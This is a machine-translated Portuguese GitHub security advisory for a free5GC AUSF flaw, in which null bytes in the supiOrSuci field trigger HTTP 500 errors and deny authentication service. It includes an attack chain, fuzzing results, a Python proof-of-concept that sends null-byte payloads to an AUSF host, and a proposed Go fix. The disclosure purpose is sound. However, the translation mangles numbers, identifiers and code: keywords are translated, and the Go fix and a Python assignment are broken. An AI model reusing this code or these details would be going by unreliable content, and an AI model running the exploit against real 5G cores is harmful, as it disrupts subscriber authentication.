O livre 5 GC AUSF (Authentification Server Function) não valida o campo `supiOrSuci` em pedidos de autenticação da UE. bytes nulos (`\x 00 `) e outros caracteres de controle passam por JSON analisando inalterados e são encaminhados para o UDM em um caminho de URL inesquecível. Isto faz com que o `net/url.Parse()` do Go falhe, retornando o HTTP 500 "Função do sistema" e vazamento de traços internos da pilha. Um atacante não autenticado pode acioná-lo em escala— 4.1% de mutações `special_chars` produzem HTTP 500 —causando a negação de serviço para todos os assinantes tentando autenticação através do AUSF afetado. CWE- 20 (Validação de entradas improváveis). A vulnerabilidade está no & POST / nausf- auth/ v do AUSF 1 /ue-authentications` handler. O corpo JSON inclui um campo `supiOrSuci`: ```json {"supiOrSuci": "imsi- 208930000000031 ", "ServingNetworkName": "...", "authType": " 5 G_AKA"} ```. O AUSF analisa este JSON (o `encoding/json` de Go ' aceita bytes null em strings por RFC 8259 ), então constrói um URL UDM incorporando diretamente o valor raw `supiOrSuci`:.

``` GET / nudm- ueau/v 1 /{supiOrSuci}/ informação de segurança/... ```. Quando ` supiOrSuci` contém bytes null (`\x 00 `), o URL resultante é ilegal sob RFC 3986. O 'net/url.Parse()' de Go falha, e o erro se propaga como um erro interno não controlado, retornando o HTTP 500 com um traço de pilha no corpo de resposta: ``` {"erro": {"estado":"INTERNAL_SERVER_ERROR","message":"Função do sistema"}} ```. O log do contêiner AUSF mostra: `net/url: caractere de controle inválido no URL`. **Canha de ataques:** ``` 1. Atacador → AUSF: POST {"supiOrSuci": "imsi-\x 00...",...} 2. AUSF: JSON analisado OK (número de bytes válidos em strings do JSON) 3. AUSF → UDM: GET /nudm-ueau/v 1 /imsi-\x 00.../ informação de segurança/... 4. UDM: a rede/url.Parse() falha (\x 00 ilegal por RFC 3986 ) 5. AUSF ← UDM: erro 6. Atacador ← AUSF: HTTP 500 {"mensagem": "Função do sistema"} ```.

**Contraste com C/C++ 5 GCs:** A mesma injeção de null-byte nos campos de string causa SIGSEGV/ SIGABRT no OAI (C++) e Abrir 5 GS (C), mas "apenas" HTTP 500 em livre 5 GC (Vai). A segurança de memória do Go converte o crash em um erro recuperável – o serviço sobrevive, mas a negação é igualmente eficaz. **Contexto de descoberta:** Encontrado via automatizado 5 G SBI borbulhando. A estratégia de mutação `special_chars` injetada 10 bytes nulos consecutivos em campos JSON valorados por string. Através 24 h de fuzzing: Estratégia Solicitações HTTP 500 SR---------------------------------------------------------------------------------------------------------- 98,304 | 4,021 | 4.1%................................................................................................................................ 132,428 | 7,947 | 6.0%.. ` grammar_aware`. 30,944 | 683 | 2.2% |.

100% de HTTP 500 s originou- se do ` POST / nausf- auth/ v 1 O objetivo do /ue-autentications. ** Não é necessária qualquer mudança de configuração.** Livre de padrão 5 A implantação do GC é vulnerável. ```python #!/usr/bin/env python 3 importar http.client, json. AUSF_ HOST = " 127.0.0.1 " # Substituir com o IP AUSF (por exemplo. 172.24.0.50 ) AUSF_PORT = 8000.

# Erro: bytes nulos em supiOrSuci → HTTP 500 body_bug = json.dumps({ "supiOrSuci": "imsi-\x 00 \x 00 \x 00 \x 00 \x 00 \x 00 \x 00 \x 00 \x 00 \x 00 ", "ServingNetworkName": " 5 G: mnc 093.mcc 208.3 gppnetwork.org", "authType": " 5 G_AKA" }) conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout= 5 ) conn.request("POST", "/ nausf- auth/ v 1 /ue-autentications", body=body_bug, headers={"Tipo de conteúdo": "application/json"}) resp = conn.getresponse() print(f"Bug: Status {resp.status}") # Retorna 500 # Contraste: Suci normal → 404 (esperado, UE não encontrado) body_normal = json.dumps({ "supiOrSuci": "imsi- 208930000000031 ", "ServingNetworkName": " 5 G: mnc 093.mcc 208.3 gppnetwork.org", "authType": " 5 G_AKA" }).

conn 2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout= 5 ) conn 2.request("POST", "/ nausf- auth/v 1 /ue-autentications", body=body_normal, headers={"Tipo de conteúdo": "application/json"}) 2 = conn 2.getresponse() print(f"Normal: Status {resp 2. estatus}") # Devolve 404 ``` ** Correr:** `python 3 reproduzer.py`. ** Correção esperada (validação de entrada + fuga de URL):** ````go import "regexp" import "net/url" Var suciRegex = regexp.MustCompile(`^[a-zA-Z 0 - 9 \-]+$`). Func valida o erro de SUI (supiOrSuci string) { se as strings.Contém o Func (supiOrSuci, func(r rune) bool { retorna r 0 x 7 e }) { devolve fmt.Errorf("SUCI contém caracteres ilegais") } devolve nada }.

// URL- escape antes de construir UDM solicita udmURL:= fmt.Sprintf(" 1 /%s/ segurança- informação/...", udmAddr, url.PathEscape(supiOrSuci)) ``` . Valor da propriedade............................................................................................................................. 500 para todas as solicitações de autenticação durante o ataque **Fui da informação** 500 resposta vaza erro interno `net/url.Parse`, habilitando a digitalização do backend **Versão afetada** 5 GC v 4.2.2 (último) **Fix** ¶ Validar `supiOrSuci` antes da construção de URL; use `url.PathEscape()` ¶.

** Ambiente:** Ubuntu 22.04, kernel 6.8.0 - 110, livre 5 Containers docker GC na rede de pontes 172.24.0.0 / 16. NFs implementados: NRF, UDM, UDR, AUSF, AMF, SMF, PCF, NSSF, MongoDB. Registro de aconselhamento: GHSA-qj 55 - 47 fp- p 62 j. Identificadores relacionados: CVE- 2026 - 53551.

Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 31 T 20: 13: 11.000 Z e lista a sua última modificação como 2026 - 07 - 31 T 20: 13: 11.000 Z. Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/África do Sul:N.

Software afetado e informações de versão: Go pacote github.com/free 5 gc/ livre 5 gc — ECOSISTEM: introduzido 0, corrigido 4.2.2. Ir pacote github.com/gratuito 5 gc/ausf — ECOSISTEM: introduzido 0, corrigido 1.4.5. Classificação e evidência: identificadores de fraqueza CWE- 20. O registro contém 7 suporte de referências nestes tipos: WEB, PACKAGE.